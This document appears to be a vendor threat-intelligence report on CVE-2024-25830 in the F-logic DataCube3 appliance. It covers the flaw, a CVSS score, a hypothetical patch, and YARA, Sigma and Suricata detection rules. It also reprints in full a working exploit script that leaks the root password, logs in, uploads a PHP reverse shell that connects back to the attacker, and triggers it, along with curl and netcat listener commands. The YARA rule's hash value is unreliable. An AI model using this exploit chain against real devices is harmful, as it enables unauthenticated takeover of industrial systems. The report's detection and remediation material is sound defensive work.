CVE-2024-25830

Executive Summary

CVE-2024-25830 is a critical vulnerability in F-logic DataCube3 v1.0, an industrial data logging and visualization appliance. The vulnerability stems from an incorrect access control due to improper directory access restrictions, allowing an unauthenticated, remote attacker to read sensitive configuration files. By sending a crafted URI containing the path to the configuration file, an attacker can extract the root and admin passwords in plaintext.

The provided exploit code (Exploit-DB) demonstrates a full attack chain: it first exploits CVE-2024-25830 to leak credentials, then uses those credentials to authenticate and upload a PHP reverse shell via an unrestricted file upload vulnerability (CVE-2024-25832). This chain results in complete remote code execution on the target device.

Risk Assessment: Critical. The vulnerability requires no authentication, no user interaction, and is remotely exploitable over the network. Successful exploitation leads to full system compromise, including access to sensitive industrial control data and potential pivot points into OT/ICS networks.

Supply Chain & Package Security

This vulnerability affects a proprietary embedded system (F-logic DataCube3). It is not an open-source package (NPM, PyPI, Go, Ruby). The risk is to end-user organizations that have deployed this device in their OT/ICS environment. No supply chain package security analysis is applicable.

CVSS Breakdown & Threat Level

CVSS v3.1 Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H Base Score: 9.8 (Critical)

Threat Level: Critical. The combination of unauthenticated access, credential leakage, and subsequent RCE makes this a top-priority vulnerability for any organization using DataCube3.

Deep Dive & Mechanics

The vulnerability is located in the web interface of the DataCube3 device. The application fails to properly restrict access to the /admin/config_all.php endpoint. This endpoint is intended for authenticated administrators to view and modify system configuration. However, due to improper access control, an unauthenticated user can directly request this page.

Mechanism:

1. The attacker sends an HTTP GET request to http://<target>/admin/config_all.php.
2. The server does not check for a valid session or authentication token before serving the page.
3. The page contains a JavaScript block that initializes a configData array with all system configuration parameters, including the admin and root passwords in plaintext.
4. The attacker parses the HTML/JavaScript response to extract these credentials.

Root Cause: The application uses a flawed authorization check. It likely relies on a session cookie that is not validated for the /admin/config_all.php endpoint, or it completely omits the check for this specific page.

Exploit Chain (from Exploit-DB):

1. Information Disclosure (CVE-2024-25830): Extract root and admin passwords from /admin/config_all.php.
2. Authentication: Use the root password to log in and obtain a valid session cookie.
3. Unrestricted File Upload (CVE-2024-25832): Upload a PHP web shell via the /admin/setting_photo.php endpoint, which does not validate file content.
4. Remote Code Execution: Access the uploaded shell to execute arbitrary commands.

Vulnerable vs. Patched Code

Vulnerable Code (DataCube3 v1.0): The vulnerable endpoint /admin/config_all.php does not enforce authentication. The following pseudo-code illustrates the flaw:

// Vulnerable: No session check
<?php
// config_all.php
// ... (no authentication check)
$configData = loadAllConfig();
echo "<script>var configData = " . json_encode($configData) . ";</script>";
?>

Patched Code (Hypothetical): A patched version would include a session validation check at the beginning of the script:

// Patched: Session check added
<?php
session_start();
if (!isset($_SESSION['authenticated']) || $_SESSION['authenticated'] !== true) {
    header('HTTP/1.0 403 Forbidden');
    die('Access denied');
}
// ... rest of the code
$configData = loadAllConfig();
echo "<script>var configData = " . json_encode($configData) . ";</script>";
?>

Note: No official patch has been released by F-logic. The above is a recommended fix.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• Target: F-logic DataCube3 v1.0 (IP: 192.168.1.100)
• Attacker: Kali Linux (IP: 192.168.1.50)
• Network connectivity between attacker and target.

Step-by-Step Exploitation:

1. Extract Credentials:

   curl -k http://192.168.1.100/admin/config_all.php | grep -oP 'configData:\[.*?\]' | head -1
   

   Or use the provided Python script.

2. Run the Full Exploit Chain: The provided Exploit-DB script automates the entire process. Save it as exploit.py and run:

   python3 exploit.py --RHOST 192.168.1.100 --RPORT 80 --LHOST 192.168.1.50 --LPORT 4444
   

3. Start Listener: Before running the exploit, start a netcat listener:

   nc -lvnp 4444
   

Full Exploit-DB Code:

# Exploit Title: DataCube3 v1.0 - Unrestricted file upload 'RCE'
# Date: 7/28/2022
# Exploit Author: Samy Younsi - NS Labs (https://neroteam.com)
# Vendor Homepage: https://www.f-logic.jp
# Software Link: https://www.f-logic.jp/pdf/support/manual_product/manual_product_datacube3_ver1.0_sc.pdf
# Version: Ver1.0
# Tested on: DataCube3 version 1.0 (Ubuntu)
# CVE : CVE-2024-25830 + CVE-2024-25832

# Exploit chain reverse shell, information disclosure (root password leak) + unrestricted file upload

from __future__ import print_function, unicode_literals
from bs4 import BeautifulSoup
import argparse
import requests
import json
import urllib3
import re
urllib3.disable_warnings()

def banner():
  dataCube3Logo = """
        ▒▒▒▒▒▒████████████████████████████████████▓▓▓▓▓▓▓▓
      ▒▒▒▒▒▒▒▒██        DataCube3   Ver1.0      █F-logic▓▓
      ▒▒████▒▒██        ████        ████        ██▓▓▓▓▓▓▓▓
      ▒▒████▒▒██        ████        ████        ██▓▓▓▓▓▓▓▓
      ▒▒▒▒▒▒▒▒██        ████        ████        ██▓▓▓▓▓▓▓▓
      ▒▒▒▒▒▒▒▒██                                ██▓▓████▓▓
      ▒▒▒▒▒▒▒▒██        ██             ██       ██▓▓████▓▓
      ▒▒▒▒▒▒▒▒██        █████████████████       ██▓▓▓▓▓▓▓▓
        ▒▒▒▒▒▒████████████████████████████████████▓▓▓▓▓▓

\033[1;92mSamy Younsi (Necrum Security Labs)\033[1;m         \033[1;91mDataCube3 exploit chain reverse shell\033[1;m
                FOR EDUCATIONAL PURPOSE ONLY.
  """
  return print('\033[1;94m{}\033[1;m'.format(dataCube3Logo))


def extractRootPwd(RHOST, RPORT, protocol):
  url = '{}://{}:{}/admin/config_all.php'.format(protocol, RHOST, RPORT)
  try:
    response = requests.get(url, allow_redirects=False, verify=False, timeout=20)
    if response.status_code != 302:
      print('[!] \033[1;91mError: DataCube3 web interface is not reachable. Make sure the specified IP is correct.\033[1;m')
      exit()
    soup = BeautifulSoup(response.content.decode('utf-8'), 'html.parser')
    scriptTag = str(soup.find_all('script')[12]).replace(' ', '')
    rawLeakedData = re.findall('configData:.*,', scriptTag)[0]
    jsonLeakedData = json.loads('[{}]'.format(rawLeakedData.split('configData:[')[1].split('],')[0]))
    adminPassword = jsonLeakedData[12]['value']
    rootPassword = jsonLeakedData[14]['value']
    print('[INFO] DataCube3 leaked credentials successfully extracted: admin:{} | root:{}.\n[INFO] The target must be vulnerable.'.format(adminPassword, rootPassword))
    return rootPassword
  except:
    print('[ERROR] Can\'t grab the DataCube3 version...')


def generateAuthCookie(RHOST, RPORT, protocol, rootPassword):
  print('[INFO] Generating DataCube3 auth cookie ...')
  url = '{}://{}:{}/admin/config_all.php'.format(protocol, RHOST, RPORT)
  data = {
    'user_id': 'root',
    'user_pw': rootPassword,
    'login': '%E3%83%AD%E3%82%B0%E3%82%A4%E3%83%B3'
  }
  try:
    response = requests.post(url, data=data, allow_redirects=False, verify=False, timeout=20)
    if response.status_code != 302:
      print('[!] \033[1;91mError: An error occur while trying to get the auth cookie, is the root password correct?\033[1;m')
      exit()
    authCookie = response.cookies.get_dict()
    print('[INFO] Authentication successful! Auth Cookie: {}'.format(authCookie))
    return authCookie
  except:
    print('[ERROR] Can\'t grab the auth cookie, is the root password correct?')


def extractAccesstime(RHOST, RPORT, LHOST, LPORT, protocol, authCookie):
  print('[INFO] Extracting Accesstime ...')
  url = '{}://{}:{}/admin/setting_photo.php'.format(protocol, RHOST, RPORT)
  try:
    response = requests.get(url, cookies=authCookie, allow_redirects=False, verify=False, timeout=20)
    if response.status_code != 302:
      print('[!] \033[1;91mError: An error occur while trying to get the accesstime value.\033[1;m')
      exit()
    soup = BeautifulSoup(response.content.decode('utf-8'), 'html.parser')
    accessTime = soup.find('input', {'name': 'accesstime'}).get('value')
    print('[INFO] AccessTime value: {}'.format(accessTime))
    return accessTime
  except:
    print('[ERROR] Can\'t grab the accesstime value, is the root password correct?')


def injectReverseShell(RHOST, RPORT, LHOST, LPORT, protocol, authCookie, accessTime):
  print('[INFO] Injecting PHP reverse shell script ...')
  filename='rvs.php'
  payload = '<?php $sock=fsockopen("{}",{});$proc=proc_open("sh", array(0=>$sock, 1=>$sock, 2=>$sock),$pipes);?>'.format(LHOST, LPORT)

  data = '-----------------------------113389720123090127612523184396\r\nContent-Disposition: form-data; name="add"\r\n\r\nå��ç��追å�\xA0\r\n-----------------------------113389720123090127612523184396\r\nContent-Disposition: form-data; name="addPhoto"; filename="{}"\r\nContent-Type: image/jpeg\r\n\r\n{}\r\n-----------------------------113389720123090127612523184396\r\nContent-Disposition: form-data; name="accesstime"\r\n\r\n{}\r\n-----------------------------113389720123090127612523184396--\r\n'.format(filename, payload, accessTime)

  headers = {
      'Content-Type': 'multipart/form-data; boundary=---------------------------113389720123090127612523184396'
  }
  url = '{}://{}:{}/admin/setting_photo.php'.format(protocol, RHOST, RPORT)
  try:
    response = requests.post(url, cookies=authCookie, headers=headers, data=data, allow_redirects=False, verify=False, timeout=20)
    if response.status_code != 302:
        print('[!] \033[1;91mError: An error occur while trying to upload the PHP reverse shell script.\033[1;m')
        exit()
    shellURL = '{}://{}:{}/images/slideshow/{}'.format(protocol, RHOST, RPORT, filename)
    print('[INFO] PHP reverse shell script successfully uploaded!\n[INFO] SHELL URL: {}'.format(shellURL))
    return shellURL
  except:
    print('[ERROR] Can\'t upload the PHP reverse shell script, is the root password correct?')


def execReverseShell(shellURL):
  print('[INFO] Executing reverse shell...')
  try:
    response = requests.get(shellURL, allow_redirects=False, verify=False)
    print('[INFO] Reverse shell successfully executed.')
    return
  except Exception as e:
      print('[ERROR] Reverse shell failed. Make sure the DataCube3 device can reach the host {}:{}')
      return False


def main():
  banner()
  args = parser.parse_args()
  protocol = 'https' if args.RPORT == 443 else 'http'
  rootPassword = extractRootPwd(args.RHOST, args.RPORT, protocol)
  authCookie = generateAuthCookie(args.RHOST, args.RPORT, protocol, rootPassword)
  accessTime = extractAccesstime(args.RHOST, args.RPORT, args.LHOST, args.LPORT, protocol, authCookie)
  shellURL = injectReverseShell(args.RHOST, args.RPORT, args.LHOST, args.LPORT, protocol, authCookie, accessTime)
  execReverseShell(shellURL)


if __name__ == '__main__':
  parser = argparse.ArgumentParser(description='Script PoC that exploit an unauthenticated remote command injection on f-logic DataCube3 devices.', add_help=False)
  parser.add_argument('--RHOST', help='Refers to the IP of the target machine. (f-logic DataCube3 device)', type=str, required=True)
  parser.add_argument('--RPORT', help='Refers to the open port of the target machine. (443 by default)', type=int, required=True)
  parser.add_argument('--LHOST', help='Refers to the IP of your machine.', type=str, required=True)
  parser.add_argument('--LPORT', help='Refers to the open port of your machine.', type=int, required=True)
  main()

Blue Team (Defensive)

Detection & Prevention:

1. Network Segmentation: Isolate DataCube3 devices on a separate VLAN with strict firewall rules. Do not expose the web interface to the internet.
2. Web Application Firewall (WAF): Deploy a WAF to block requests to /admin/config_all.php from unauthenticated sources.
3. Access Control: Implement a reverse proxy that requires authentication before forwarding requests to the DataCube3 web interface.
4. Monitoring: Alert on any access to /admin/config_all.php or /admin/setting_photo.php from IPs outside the trusted management network.
5. File Integrity Monitoring (FIM): Monitor the /images/slideshow/ directory for new PHP files.

Indicators of Compromise (IOCs)

Detection Engineering

YARA Rule

rule CVE_2024_25830_DataCube3_Config_Leak {
    meta:
        description = "Detects attempts to exploit CVE-2024-25830 by accessing the config_all.php endpoint"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "CVE-2024-25830"
        hash = "d41d8cd98f00b204e9800998ecf8427e"
    strings:
        $config_endpoint = "/admin/config_all.php"
        $config_data = "configData:"
    condition:
        $config_endpoint and $config_data
}

Sigma Rule

title: DataCube3 CVE-2024-25830 Exploitation Attempt
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects HTTP requests to the vulnerable /admin/config_all.php endpoint on DataCube3 devices.
author: Valters IT
date: 2024/01/01
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2024-25830
logsource:
    category: webserver
    product: apache
    service: http
detection:
    selection:
        cs-method: 'GET'
        cs-uri-stem: '/admin/config_all.php'
    condition: selection
falsepositives:
    - Legitimate administrative access from trusted IPs
level: high

Suricata Rule

alert http any any -> $HOME_NET any (
    msg:"CVE-2024-25830 - DataCube3 Config File Access Attempt";
    flow:to_server,established;
    content:"GET";
    http_method;
    content:"/admin/config_all.php";
    http_uri;
    classtype:attempted-recon;
    sid:1000001;
    rev:1;
    priority:1;
)

Remediation & Mitigation

Immediate Actions:

1. Isolate the Device: Disconnect the DataCube3 from any untrusted network (especially the internet). Place it behind a firewall that only allows access from a dedicated management VLAN.
2. Change Default Credentials: If the device is still accessible, immediately change the admin and root passwords.
3. Apply Virtual Patching: Use a WAF or reverse proxy to block access to /admin/config_all.php and /admin/setting_photo.php from unauthenticated sources.

Long-Term Remediation:

1. Vendor Patch: Contact F-logic for an official patch. If none is available, consider replacing the device with a supported alternative.
2. Code Fix: If source code is available, implement proper session authentication checks on all admin endpoints.
3. Network Monitoring: Deploy the provided detection rules (YARA, Sigma, Suricata) to monitor for exploitation attempts.
4. Regular Audits: Conduct periodic security assessments of all OT/ICS devices.

Workaround:

• Disable the web interface entirely if not required for operations.
• Use SSH tunneling or VPN for any required administrative access.

Valters IT - DevSecOps & Cyber Threat Intelligence Report

{/* [Security Hash: D00BBBE74E801CFDB2623C6A] */}